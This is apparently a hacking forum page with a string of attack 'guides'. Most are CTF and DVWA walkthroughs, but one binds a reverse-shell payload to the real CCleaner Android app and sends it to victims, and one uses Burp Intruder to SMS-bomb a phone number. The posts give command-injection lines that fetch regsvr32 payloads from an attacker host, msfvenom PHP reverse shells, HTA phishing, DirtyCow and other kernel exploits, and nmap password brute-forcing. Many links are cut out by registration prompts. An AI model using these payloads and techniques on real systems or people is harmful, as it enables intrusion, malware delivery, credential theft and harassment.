[To see content please register here]

gcc –o kernel 28718.c
chmod 777 kernel
Then type the following command to execute the exploit :
./kernel
1
./kernel
As the exploit executes you will reach the root. And to confirm this type :
id
1
id
[Image: 15.png?w=687&ssl=1]

Then moving forward go to the root folder by typing :
cd /root
1
cd /root
Let’s see what directories it has and for that type :
ls
1
ls
Here we have a congrats.txt named text file and I am hoping this will be our flag so to read it type :
cat congrats.txt
1
cat congrats.txt
[Image: 16.png?w=687&ssl=1]

People say that “good things take time” but everyone knows that in today’s world everyone has everything but time especially in cyber security and hacking. But worry no more about time as we are going to present the best and time saving method to hack any Linux server/machine through DirtyCow. This is the latest vulnerability that has been found that works against every version of kernel that has ever existed till date and researchers and attackers are taking it very seriously. It’s a nine year old bug but is only discovered now. And it has already begun to be used as leverage against the digital world.

DirtyCow is the latest exploit coined against every version of kernel in Linux. It got its name as “Cow” because it works on Copy-on-Write breakage. Kernel’s memory system works by handling Copy-On-Write breakage which contains private ROM. So basically this exploit helps us to escalate privileges by modifying existing setuid files.

Now I am going to walk you through the practical of DirtyCow by creating a normal user in my Kali and then I will be guiding you through the whole practical so stay with me. The vulnerability was discovered by security researcher Phil Oester, Link

[To see content please register here]

Firstly make a new user in your kali by typing:

useradd –m raj

passwd raj

After running the above two commands it will ask you about password, here, give any password and repeat it.

Once your password is updated successfully and and user is created log into the Kali through that new user and then go to this link à

[To see content please register here]

and download the zip file.

After the downloading is done, open the zip file. Here you will find a folder; open that folder in the terminal. Now in the terminal will notice that you do not have administrative privileges and to confirm this just type:

After this lets check the list of directories in the folder and for that type:

Futher, type:

make

And then run dcow file by typing:

./dcow

Executing the above command will show you the password. Copy this password and then type :

Then give the same password that you copied when asked.

And VOILA!!! You have the access to the root!!

Conclusion: Using this we are modifying Copy-On-Write cache in kernel. By modifying we are changing contents of any readable and mapable file. It can alter any file but that changes affect cache memory only that means after rebooting the changes will be back to normal. Hence, letting us have the access to root.

YOURLS 1.7.4 - Your Own URL Shortener - Free Download

Posted by: ~~hacxx~~ - 04-24-2020, 11:33 PM - Forum: Hacking - No Replies

[Image: print.jpg]

YOURLS stands for Your Own URL Shortener. It is a small set of PHP scripts that will allow you to run your own URL shortening service (Similar to TinyURL or Bitly).

Running your own URL shortener is fun, geeky and useful: you own the data and don't depend on third-party services. It's also a great way to add branding to your short URLs, instead of using the same public URL shortener everyone uses.

Download 1:

[To see content please register here]

Download 2:

[To see content please register here]

My favorite domain registrar services for 2020

Posted by: ~~hacxx~~ - 04-24-2020, 06:59 PM - Forum: Earnings schemes - Replies (1)

A domain name registrar is a company that manages the reservation of Internet domain names. A domain name registrar must be accredited by a generic top-level domain (gTLD) registry or a country code top-level domain (ccTLD) registry.

View list

[To see content please register here]

[Guide] Command Injection Exploitation in DVWA using Metasploit (Bypass All Security)

Posted by: NINZA - 04-24-2020, 03:22 PM - Forum: General Discussion - No Replies

[To see content please register here]

First install the DVWA in your PC full article read

[To see content please register here]

Now open the DVWA in your pc and login with following credentials:

Username – admin

Password – password

Bypass Low Level Security

Click on DVWA Security and set Website Security Level low

Use “&&” in command injection to bypass low security of this server.

Go to the command execution page Enter an IP address and click on submit.
[Image: 2.1.png?w=687&ssl=1]

Now you can see the reply that tells us that we have establish a connection with the server. I have tried this numerous times just to be sure and so can you, therefore, whenever you will execute this cammand you will see the following :

We can also implement multiple commands simultaneously just by using & sign. For example next command is :

192.168.1.100 && dir
1
192.168.1.100 && dir

After the above command click on submit, performing the said command will itemize all directories and files.

We have found 4 directories and a file and also that path of the directory.
[Image: 3.png?w=687&ssl=1]

Next command is 192.168.1.100 && net user click on submit, this command will show the user’s list
[Image: 4.1.png?w=687&ssl=1]

Various commands are available which when submitted will give the intended outcome. So firstly, we will find a way to transfer our malevolent payload to the remote machine and for that I am using my favorite tool metasploit. To use metasploit al you have to do is type msfconsole in kali terminal and then type the following commands

msf > use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit(regsvr32_applocker_bypass_server) > set payload windows/meterpreter/reverse_tcp
msf exploit(regsvr32_applocker_bypass_server) > set lhost 192.168.1.106
msf exploit(regsvr32_applocker_bypass_server) > set lport 4444
msf exploit(regsvr32_applocker_bypass_server) > exploit
1
2
3
4
5
msf > use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit(regsvr32_applocker_bypass_server) > set payload windows/meterpreter/reverse_tcp
msf exploit(regsvr32_applocker_bypass_server) > set lhost 192.168.1.106
msf exploit(regsvr32_applocker_bypass_server) > set lport 4444
msf exploit(regsvr32_applocker_bypass_server) > exploit

We can use the following command in order to open a port on the remote host and to connect back to it with metasploit.

192.168.1.100 && regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll
1
192.168.1.100 && regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll

and click on submit

Now you will get meterpreter session of victim’s PC. And type sysinfo to get system information.
[Image: 7.png?w=687&ssl=1]

Bypass Medium Level Security
Click on DVWA Security and set Website Security Level Medium
Use pipe “|” in command injection to bypass medium security of this server.
[Image: 8.png?w=687&ssl=1]

Follow same process as above using metasploit and further type :

192.168.1.100 | regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll
1
192.168.1.100 | regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll

Again we got meterpreter session 2
[Image: 10.png?w=687&ssl=1]

Bypass High Level Security
Click on DVWA Security and set Website Security Level High
Try to use pipe “||” in command injection to bypass high security of this server
[Image: 11.png?w=687&ssl=1]

Follow same process as above using metasploit

192.168.1.100 || regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll
1
192.168.1.100 || regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll

and click on submit

Yes, we have got meterpreter session 3!!
[Image: 13.png?w=687&ssl=1]

Finally we have completed all three level low, medium, high in DVWA.

This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed

Exploit Targets

Windows All Versions

Requirement

Attacker: Kali Linux

Victim PC: Windows 10

Open Kali terminal type msfconsole

use exploit/windows/misc/hta_server
msf exploit (hta_server)>set lhost 192.168.0.104
msf exploit (hta_server)>set srvhost 192.168.0.104
msf exploit (hta_server)>set payload windows/meterpreter/reverse_tcp
msf exploit (hta_server)>set lport 8443
msf exploit (hta_server)>exploit
1
2
3
4
5
6
use exploit/windows/misc/hta_server
msf exploit (hta_server)>set lhost 192.168.0.104
msf exploit (hta_server)>set srvhost 192.168.0.104
msf exploit (hta_server)>set payload windows/meterpreter/reverse_tcp
msf exploit (hta_server)>set lport 8443
msf exploit (hta_server)>exploit

Send the link of the server to the victim via chat or email or any social engineering technique.

When Victim Machine browsing to your link it will download anything.hta file when victim click on it you will get the meterpreter session

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“

In this article, we are going to solve another CTF challenge “SpyderSec” presented by vulnhub.com to practice OSCP lab challenges.
Challenge: You are looking for two flags. Using discovered pointers in various elements of the running web application you can deduce the first flag (a downloadable file) which is required to find the second flag (a text file). Look, read and maybe even listen. You will need to use basic web application recon skills as well as some forensics to find both flags.
You can download it from here:

[To see content please register here]

Level: Intermediate
Penetrating Methodologies:

Network Scanning (Netdiscover, Nmap)
Extracting Metadata (ExifTool)
Decoding Hex to Ascii
Exploit eval function using javascript unpackage.
Capture HTTP request (Burpsuit)
Decode the URI to get them under.fbi file
Unlock the hidden drive (veracrypt)
Capture the Flag.

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
Our target is 192.168.1.101. Scan the target with nmap.
nmap -A 192.168.1.101
1
nmap -A 192.168.1.101
[Image: 1.png?w=687&ssl=1]

There are only two ports open i.e. 22 and 80 for SSH and HTTPS respectively. Next, I opened this page in the browser.
[Image: 2.png?w=687&ssl=1]

There was nothing major on the page except for two images. There is a possibility about metadata behind these images. Therefore, I read these images with the exif tool. One of the images which were saved by the name of “challenge” had a comment behind it. To read it type:
exiftool Challenge.png
1
exiftool Challenge.png
[Image: 3.png?w=687&ssl=1]

If you observe closely the comment is in hexadecimal form. We need to convert it into a readable form. No third party tool is required just go online to hex to Ascii converter copy the string and paste it in the text box and then click the convert button.
[Image: 4.png?w=687&ssl=1]

After converting we again have the hexadecimal string. No problem. Let’s convert it again as we did earlier.
[Image: 5.png?w=687&ssl=1]

This time we got base 64 encode and to decode it we use the following command.
echo 'bas64 text' |base64 -d
1
echo 'bas64 text' |base64 -d
Now finally we have a readable string. This can be a password or a directory. Note it down for future use.
[Image: 6.1.png?w=687&ssl=1]

Moving on if you go through the source code of the home web page you will find that evil function is quite unusual.
[Image: 6.png?w=687&ssl=1]

I searched about eval function on google and found that it is a javascript. There can be code hidden behind it. So let’s unpack it with the javascript unpacker.
After unpacking you will again come face to face with a hexadecimal string. Convert this string just like before.
[Image: 7.png?w=687&ssl=1]

After conversion, the string became “alert(‘mulder.fbi);”.
[Image: 8.png?w=687&ssl=1]

I explored a lot and search a lot but found nothing about it so decided to capture its cookies through BurpSuite.
[Image: 9.png?w=687&ssl=1]

In cookies, I found an encoded URI that means it’s a part of a link. From here copy the link and open it in the browser.
[Image: 10.png?w=687&ssl=1]

Now when I opened it there was an error. Then I explored a d bit and remembered that there was a mulder.fbi so I added that to the link.
[Image: 11.png?w=687&ssl=1]

After adding mulder.fbi to the link it asked me to download a file. Save it.
[Image: 15.png?w=687&ssl=1]

When you open the file that you just saved then it will play a video with different quotes. Now I was clueless about this so I started searching about it on Google. And I found out that it was a TrueCrypt file. So to see what is hidden type:
python tcsteg.py mulder.fbi
1
python tcsteg.py mulder.fbi
[Image: 17.png?w=687&ssl=1]

There was a whole drive hidden behind it. And using veracrypt you can see and open the drive.
[Image: 18.png?w=687&ssl=1]

When you open it will ask for a password and we have found the password beforehand. So give the password there.
[Image: 19.png?w=687&ssl=1]

Hence the drive will be unlocked. Now open the drive. And you will find a flag there.
[Image: 20.png?w=687&ssl=1]

The LAMPSecurity project is an effort to produce training and benchmarking tools that can be used to educate information security professionals and test products. Please note there are other capture the flag exercises too.
These exercises can be used for training purposes by following this documentation. Alternatively, you may wish to test new tools, using the CTF virtual machines as targets. This is especially helpful in evaluating the effectiveness of vulnerability discovery or penetration testing tools.

Download from

[To see content please register here]

.

Penetration Testing Methodology

Network Scanning
- netdiscover
- nmap port scan
Enumeration
- Performing Directory Bruteforce
- Exploring directories to find out the username and password
Exploiting
- Using a backdoor
- Using netcat/msfconsole
Privilege Escalation
- Changing the password of root and other users

Walkthrough
Network Scanning
The first step to attack is to identify the target. So, to identify the target, we will use the following command:
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Now we will use nmap to gain information about the open ports and the services running on the target machine using the following command
nmap -sV -sT -p- 192.168.43.30
1
nmap -sV -sT -p- 192.168.43.30
[Image: 2.png?w=687&ssl=1]

Enumeration
Further, we need to start enumeration against the host machine, therefore we navigated to a web browser for exploring different service. Here we have a web application so let’s explore the web application.

[To see content please register here]

Further, let’s try to find some hidden files and directories. Finding files and directories can discover much useful information like username, password or some configuration files, etc. We will use the following command for the said:
dirb

[To see content please register here]

1
dirb

[To see content please register here]

We found two major directories i.e. /files/ and /sql/. We can tell from their names that are quite important.
[Image: 5.png?w=687&ssl=1]

Now our next step is to explore these two directories. We can also explore other directories but the rest of the directories don’t seem to be useful for us.

[To see content please register here]

On exploring the files/ directory there multiple valid and useful files we found with a lot of information as you can see in the image below:
[Image: 6.png?w=687&ssl=1]

[To see content please register here]

Upon traversing through sql/ directory, we found a db.sql and when opened it gave us all the information about the database including username and password just as shown in the image below:
[Image: 7.png?w=687&ssl=1]

Now let’s try to login into the admin panel using the username: ‘admin’ and password: ‘adminpass’
[Image: 8.png?w=687&ssl=1]

We succeed in login. Now we have the admin panel from where we can manage the web application. Let’s see if we can add some more pages to the application so that we can upload a PHP backdoor.
As we can add a new event, so, here we will create a backdoor using msfvenom first and then we will upload this shell.php file on the website. To create the shell type:
msfvenom -p php/meterpreter/reverse_tcp -o /root/Music/shell.php lport=4444 lhost=192.168.43.248
1
msfvenom -p php/meterpreter/reverse_tcp -o /root/Music/shell.php lport=4444 lhost=192.168.43.248
[Image: 10.png?w=687&ssl=1]

After this, upload the shell by adding a new event as shown in the image below:
[Image: 11.png?w=687&ssl=1]

Finally, we have uploaded a malicious file. Now we will use msfconsole or we can also use netcat to get a session in order to perform more operations to gain root access.
So, to access the ‘shell.php’ we will explore the directory URL:

[To see content please register here]

Now let’s fire up the msfconsole and we have to type in these commands in msfconsole to get a session
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.43.248
msf5 exploit(multi/handler) > set lport 4444
msf5 exploit(multi/handler) > exploit
1
2
3
4
5
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.43.248
msf5 exploit(multi/handler) > set lport 4444
msf5 exploit(multi/handler) > exploit
[Image: 13.png?w=687&ssl=1]

Press enter after typing ‘exploit’ and go back to the URL:

[To see content please register here]

And click on ‘shell.php’ and then come back to the msfconsole, now we can see we have got a session.
[Image: 14.png?w=687&ssl=1]

Now we have a session, so let’s run the command ‘sysinfo’ to find out some information related to kernel version and its architecture.
sysinfo
1
sysinfo
[Image: 15.png?w=687&ssl=1]

Kernel version is 2.6.18-92.el5 .
We have to search a lot to know more about this kernel version and after doing a lot of research we find out that this kernel version is vulnerable to udev exploit.
Now, we will use a script to gain root access, script name is 8478.sh, we can find this exploit/code in our Kali Linux OS.
Let’s copy this file from our OS to the directory where we have created our backdoor that is /root/Music using the cp command:
cp /usr/share/exploitdb/exploits/linux/local/8478.sh /root/Music
cd /root/Music/
ls -l
1
2
3
cp /usr/share/exploitdb/exploits/linux/local/8478.sh /root/Music
cd /root/Music/
ls -l
[Image: 16.png?w=687&ssl=1]

Now, let’s run a simple HTTP Server using python so that we can download this file in our targeted system.
python -m SimpleHTTPServer
1
python -m SimpleHTTPServer
[Image: 17.png?w=687&ssl=1]

Now let’s drop a shell in our targeted system using the same meterpreter session
sysinfo
1
sysinfo
[Image: 18.png?w=687&ssl=1]

This is a very limited shell. using this shell, we can’t do privilege escalation. Now for gaining a more advance shell, we will use python’s pty module using the following command
python -c 'import pty; pty.spawn("/bin/bash")'
1
python -c 'import pty; pty.spawn("/bin/bash")'
[Image: 19.png?w=687&ssl=1]

Now we have a shell where we can try different commands to gain root access. First of all, let’s change the directory to /tmp using the cd command
cd /tmp
pwd
1
2
cd /tmp
pwd
[Image: 20.png?w=687&ssl=1]

Now we have to download 8478.sh file here so that we can exploit the system. We can download the file using wget command:
wget

[To see content please register here]

-q
1
wget

[To see content please register here]

-q

Now change the permissions to executable using the chmod command:
ls
chmod +x 8478.sh
1
2
ls
chmod +x 8478.sh
[Image: 22.png?w=687&ssl=1]

It’s time to run the script and gain the root access, run the script using ‘./8478.sh’
./8478.sh
1
./8478.sh
[Image: 23.png?w=687&ssl=1]

Many of us will get this error. We will search for this error and finally, we have found a solution to this error we can resolve this issue using the following command:
sed -i -e 's/\r$//' 8478.sh
1
sed -i -e 's/\r$//' 8478.sh
[Image: 24.png?w=687&ssl=1]

Try again to run the script using:
./8478.sh
1
./8478.sh
[Image: 25.png?w=687&ssl=1]

The reason behind this error is, it requires some experimentation as you have to provide the proper PID to the script in order for the code to work. So now we have to find a proper PID and with the help of that PID, we will run the script. To get the PID run the following command:
cat /proc/net/netlink
1
cat /proc/net/netlink
[Image: 26.png?w=687&ssl=1]

Run the script again using the PID 376 using the command below:
./8478.sh 376
whoami
1
2
./8478.sh 376
whoami
[Image: 27.png?w=687&ssl=1]

Boom! We have gained the root access!
Let’s do some more operations. Head into the /home directory using command cd /home. In the home directory, we have to find out more users. As we are root, we can change any user password using the command passwd john similarly we can change the root password using the same command.
passwd root
id
su john
su -l
ls
1
2
3
4
5
passwd root
id
su john
su -l
ls
[Image: 28.png?w=687&ssl=1]

[Guide] How to Hack the VulnOS 2.0 VM (CTF Challenge)

Posted by: NINZA - 04-24-2020, 03:20 PM - Forum: General Discussion - No Replies

“Your assignment is to pentest a company website, get the root of the system and read the final flag” is the only thing we know about this VM other than that is it a smaller one. Therefore without any further ado lets starts by finding our target aka victim.

Breaching Methodologies:

Network Scanning (netdiscover, Nmap)
Enumeration (source code review)
Use Exploit 32075 (searchsploit)
SQL injection (sqlmap)
Use fetched credential for SSH login
Kernel Privilege Escalation (Exploit 37292)
Get Root access and capture the flag.

netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Here, it has discovered the target IP: 192.168.1.102, and now we will run nmap to determine what services are running.
nmap -p- -A 192.168.1.102
1
nmap -p- -A 192.168.1.102
[Image: 2.png?w=687&ssl=1]

So, the services that running is SSH on 22 ports, HTTP on 80 ports, IRC on 6667. As port 80 is open that means we can open it in the browser.
[Image: 3.png?w=687&ssl=1]

Since we didn’t found anything on a web page, therefore, we looked into its source code and here saw a link /jabc; let’s open it.
[Image: 4.png?w=687&ssl=1]

When we had explored /jabc in the browser, it put up the following page.
[Image: 5.png?w=687&ssl=1]

In this webpage, there were various tabs and I explored each tab including their page source and I found nothing except for the last tab i.e. Document.
[Image: 6.png?w=687&ssl=1]

When you look into the page source there will be a line saying “/jabd0cs/ on the server. Just log in with the guest/guest.”
[Image: 7.png?w=687&ssl=1]

So, I opened the directory and logged in with guest: guest as username: password respectively. And there was an upload option but there was a restriction that you can only upload the .doc file so it was pretty useless.
If you observe the login page there is a cms opendocman v1.2.7. this version of opendocman is vulnerable.
[Image: 8.1.png?w=687&ssl=1]

Let’s search for its exploits to be used against opendocman. And for that type:
searchsploit OpenDocMan 1.2.7
1
searchsploit OpenDocMan 1.2.7
From its result, we found exploit 32075.txt which was showing “the vulnerability exists due to insufficient validation of “add_value” HTTP GET parameter in “/ajax_udf.php” script. A remote unauthenticated attacker can execute arbitrary SQL commands in application’s database.”
[Image: 8.png?w=687&ssl=1]

Now we will use sqlmap to find out the database of usernames and passwords and for that type:
sqlmap -u 'http://192.168.1.102/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' --risk=3 --level=5 --dbs --threads=4 --batch
1
sqlmap -u 'http://192.168.1.102/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' --risk=3 --level=5 --dbs --threads=4 --batch
[Image: 9.png?w=687&ssl=1]

And we have fetched database name “jabcd0cs”
[Image: 10.png?w=687&ssl=1]

sqlmap -u 'http://192.168.1.102/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' -D jabcd0cs --risk=3 --level=5 --threads=4 --dump-all --batch
1
sqlmap -u 'http://192.168.1.102/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' -D jabcd0cs --risk=3 --level=5 --threads=4 --dump-all --batch
The sqlmap command will show us all the username and passwords as shown below.
[Image: 11.png?w=687&ssl=1]

As you can see that the password is an MD5 hash value. We can crack it online no third party tool is needed.
[Image: 13.png?w=687&ssl=1]

Password turns outs to be webmin1980 with the username of webmin. As we have username and password we can log in through SSH port. And to log in through SSH open a new terminal in kali and type:
ssh [email protected]
1
ssh [email protected]
And then give the password when asked and you will have a session. Let’s check the version of the kernel to see if it is vulnerable or not.
lsb_release -a
1
lsb_release -a
[Image: 14.png?w=687&ssl=1]

The version is 14.04 that means it can be exploited, and for that type:
searchsploit ubuntu 14.04
1
searchsploit ubuntu 14.04
It has shown so many exploits and from those, we chose 37292.c for overlayfs’ Local Privilege Escalation’.
[Image: 15.png?w=687&ssl=1]

Start python HTTP server for transferring it into victim’s machine.
[Image: 16.png?w=687&ssl=1]

Type the following command to download it:
cd /tmp
wget

[To see content please register here]

1
2
cd /tmp
wget

[To see content please register here]

As the exploit is downloaded, now as always we need to compile it and then run it. And for that the set of commands is:
gcc 37292.c -o shell
./shell
1
2
gcc 37292.c -o shell
./shell
And voila you have reached root but our challenge is not completed here. We still have to find the flag. Once you have reached root then go into the /root directory:
id
cd /root
1
2
id
cd /root
Let’s check what files and folders it is holding.
ls
1
ls
And here you will a flag.txt. Read it!
cat flag.txt
1
cat flag.txt
[Image: 18.png?w=687&ssl=1]

In this article we will learn yet another method hack android authentically. This is the most uncontrived way of hacking an android user as you are binding your maligant file with the original one just like we did with apk.

Firstly, we will download ccleaner from

[To see content please register here]

as we will bind our payload file with it.

Our next step will be downloading the software is Spade. To download it go to the terminal in your Kali and type:

git clone

[To see content please register here]

The enactment of the above command with installs the software successfully. Next, type:

./spade.py /root/Desktop/ccleaner.apk

When you run the above command it will ask you the information about payload, lhost, lport. For payload select option 3 that means type 3. And the give lhost and lport :

Lhost > 192.168.0.104

Lport>4444

Previous rendition of the commands helps us bind an original file with our personalized malign file.
[Image: 4.png?w=687&ssl=1]

After it has all been done successfully, it will ask us to set the listener. Type’y’ here now a new apk will save in spade folder

Now, you can go ahead and send the victim the link so that he can download it.
[Image: 6.png?w=687&ssl=1]

As the victim will click on install, the application will start downloading along with our malicious file. [Image: 7.png?w=687&ssl=1]

And when the application will be opened you will have victim session. [Image: 8.png?w=687&ssl=1]

As you remember you typed ‘y’ before to create listener and the listener is created automatically on the all the details you had given previously. And then to simple have the session type:

sessions –i 1

This time we are going to crack SickOS 1.1 in the Boot2root challenges. This CTF gives a clear analogy of how hacking strategies can be performed on a network to compromise it in a safe environment. The objective being to compromise the network/machine and gain Administrative/root privileges on them.

Breaching Methodology:

Network Scanning (Netdiscover, Nmap)
Configure browser proxy
Use robot.txt
Search Wolf CMS admin login page & default credential (Google)
Enter into the admin console
Generate PHP Backdoor (Msfvenom)
Upload and execute a backdoor
Reverse connection (Metasploit)
Steal password from inside config.php
Get into the shell for privilege escalation
Import python one-liner for proper TTY shell
Open etc/passwd
Switch user (su) and submit the stolen password
Take root access

We will start off by finding the target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Our target IP is 192.168.1.101. Now we scan the IP by Nmap.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
[Image: 2.png?w=687&ssl=1]

If you had have observed during nmap that there was something about proxy on 3128. So we will try and set up a manual proxy. Give the IP of the VM in the HTTP Proxy and the port 3128
[Image: 3.1.png?w=687&ssl=1]

‘
Generally, there are always some chances of getting robots.txt file inside the web directory, therefore, while penetrating any system we should always check for the robots.txt file. Here also it works and it tells us something about /wolfcms that means this website is made in Wolf CMS or there is a directory with the name of /wolfcms.
[Image: 3.png?w=687&ssl=1]

Then open it in the browser as the link: 192.168.1.101/wolfcms/ and the page will open as below indicating that it has been made in Wolf CMS.
[Image: 4.png?w=687&ssl=1]

I don’t know much about Wolf CMS so I searched Google to know where admin page resides. As I found the login page through Google, I opened it. And it was asking me for username and password. By default, the username and password is admin and admin respectively and I logged into the admin console, after that, select files tab and then select upload files option.
[Image: 5.png?w=687&ssl=1]

Here, we need to upload the malicious file and to generate it open your terminal in kali and type:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 –f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 –f raw
On the other hand run multi/handler inside Metasploit framework.
[Image: 6.png?w=687&ssl=1]

Copy the code from <?php to die(); and paste it to a text file with the extension .php. Upload the said file.
[Image: 7.png?w=687&ssl=1]

As we can see, the PHP backdoor has been uploaded inside /public directory.
[Image: 8.png?w=687&ssl=1]

So now we need to execute shell.php file for getting the reverse connection on Metasploit.
[Image: 9.png?w=687&ssl=1]

Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session 1, now start penetrating for accessing root privilege. We have access /var/www/wolfcms where we found the config.php file. So when had opened config.php file it has shown DB username and password.
[Image: 10.png?w=687&ssl=1]

Then to access proper TTY shell we had import python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Moving further read the password file and to do so type:
cat etc/password
1
cat etc/password
Observe all the user details it gives us and you will find that user sickos have the value of 1000:1000 that means that this is the first user. So, we might find odour here as it is the first user. Therefore, switch the user to sickos with the password john@123 that we found.
su sickos
sudo -s
1
2
su sickos
sudo -s
Furthermore, we need to go into /root to look for the flag so for that run the set of following commands:
cd /root
ls
1
2
cd /root
ls
Here, you will find a text find. Let’s read it.
HUUURRRRAYYY!!! We have successfully completed this challenge.
[Image: 11.png?w=687&ssl=1]

In this article we will learn about SMS bombing. It is used to prank your friends by sending those hundreds and thousands of SMS at once. There are many third-party sites to do so but there are usually of no use. We are introducing a different method to do so and all you need is you, Kali.

We are going to use BurpSuite that means we have to set up proxy first. And for that go to browser settings and select Preferences.

Then select an advanced option and then go to network settings.
[Image: 2.png?w=687&ssl=1]

A dialogue box will open and from it select Manual Proxy Configuration. As you have selected this, you can either keep the http proxy as localhost or you can set it to 127.0.0.1

Now that proxy has been set up open BurpSuite.

Now select the proxy tab and then the options tab and check the checkbox of the interface. Then click on the Edit button on the left side.

It will open a dialogue box. In this select Support invisible proxying option. Click on OK.
[Image: 6.png?w=687&ssl=1]

When you return to the previous window check the invisible box too.
[Image: 7.png?w=687&ssl=1]

As of now, all the settings have been done. Now what we need is to send the message and for that, we will log in to way2sms.com.

After logging in generate the message and give the contact number to which you want to send the messages. Before clicking on send turn on the interception in BurpSuite.

When you click the send button the request will first go to Burpsuite as it captures the traffic. When the traffic has been captured right-click anywhere and select Send to intruder option or simply use keyboard shortcut i.e. ctrl+i.

Now in the intruder tab select options tab. It will show you the details of the traffic that is the number to which the SMS was destined to and the text message.

Select the part of the text message and click on add.
[Image: 12.png?w=687&ssl=1]

Now go to Payloads tab and select Brute Force in the Payload type option.
[Image: 13.png?w=687&ssl=1]

Then give the character set of 123456789 i.e. 1-9 numbers. And give the minimum length of 1 and the maximum length of 3. Here, minimum and maximum length means the length of digits that will be created using character set. From the customization that we have done, it will create 1100 messages for the receiver.

Now finally to start the attack goes to the intruder menu and select Start Attack from the drop-down menu.
[Image: 15.png?w=687&ssl=1]

Once the attack starts you can see that the receiver will start receiving all the messages in the interval of 1 to 5 seconds as shown in the image below:

I stopped the attack after 29 messages which were sent in the time span of 1 to 2 minutes.
[Image: 17.png?w=687&ssl=1]

[Guide] Password Cracking using Nmap

Posted by: NINZA - 04-24-2020, 03:17 PM - Forum: General Discussion - No Replies

In previous practical I had used basic command to scan victim’s PC and found open ports like ftp, Ssh, telnet, snmp and etc. You can check from

[To see content please register here]

But now the question is if we found open ports what else we can do to retrieve the information of victim using nmap scripts? To know your answer read ahead.

FTP BRUTE

Crack password using nmap brute script of FTP.

nmap -p21 –script ftp-brute.nse –script-args

userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.105

[To see content please register here]

?w=687&ssl=1]" class="mycode_img" />

From the scanning result I have successfully got the FTP password of victim pc

msfadmin:msfadminas username and password.

TELNET BRUTE

Crack password using nmap brute script of telnet.

nmap -p23 –script telnet-brute.nse –script-args

userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.105

I have successfully got the TELNET password of victim pc msfadmin:msfadminas username and password.
SMB BRUTE
Crack password using nmap brute script of SMB
Nmap –p445 –script smb-brute.nse –script-args
userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.105

I have successfully got the SMB password of victim pc msfadmin:msfadmin and user:useras username and password.

MYSQL BRUTE

Crack password using nmap brute script of MYSQL server

Nmap -sT -p3306 –script mysql-brute.nse –script-args userdb=/root/Desktop/user.txt 192.168.1.105
[Image: mysql.png?w=687&ssl=1]

Here I found two user as root and guest with empty password for MySQL server

Today we will walk through the first leaks VM. There is nothing that we know about this VM except for the fact that the security level is from beginner to intermediate. Also, this VM only works on 08:00:27:A5:A6:76 MAC address or else it will not work.
You can download it from here:

[To see content please register here]

Task: Get root Access and Capture the Flag
Level: Intermediate
Penetrating Methodology

Scanning Network
Enumeration
Exploiting Web Application
Post Exploit Enumeration
Privilege Escalation
Capture the Flag

Walkthrough
Scanning Network
Let’s start by scanning your victims’ IP.
nmap -A 19.168.1.110
1
nmap -A 19.168.1.110
[Image: 1.png?w=687&ssl=1]

Nmap shows us that port number 80 is open. Therefore, let’s open our victim’s IP in the browser.
[Image: 2.png?w=687&ssl=1]

Enumeration
Exploring the webpage, it occurred to me that fristi is also a drink like a cola or beer or sisi and also there was the reference to it on the home page so there is a possibility that fristi is also a directory here. And there was no harm in trying it.
[Image: 3.png?w=687&ssl=1]

And we found the login portal through fristi. Cheers. Once I looked at the source page of this directory, I found what I think is a username.
[Image: 4.png?w=687&ssl=1]

Also, by reading the metadata of the image which was encoded as indicated in the page source I found a string of letters. To decode type:
base64 -d encode > 1.png
1
base64 -d encode > 1.png
[Image: 5.png?w=687&ssl=1]

Exploiting Web Application
Then, we made up a php_reverse shell (available inside: /usr/share/webshells/php), in the form of .jpg and modified lhost and lport values.
[Image: 7.png?w=687&ssl=1]

And then uploaded this shell in 192.168.1.110/fristi/do_upload.php.
[Image: 9.png?w=687&ssl=1]

And then we executed our shell by typing:
192.168.1.110/fristi/uploads/shell/php.jpg
1
192.168.1.110/fristi/uploads/shell/php.jpg
[Image: 10.png?w=687&ssl=1]

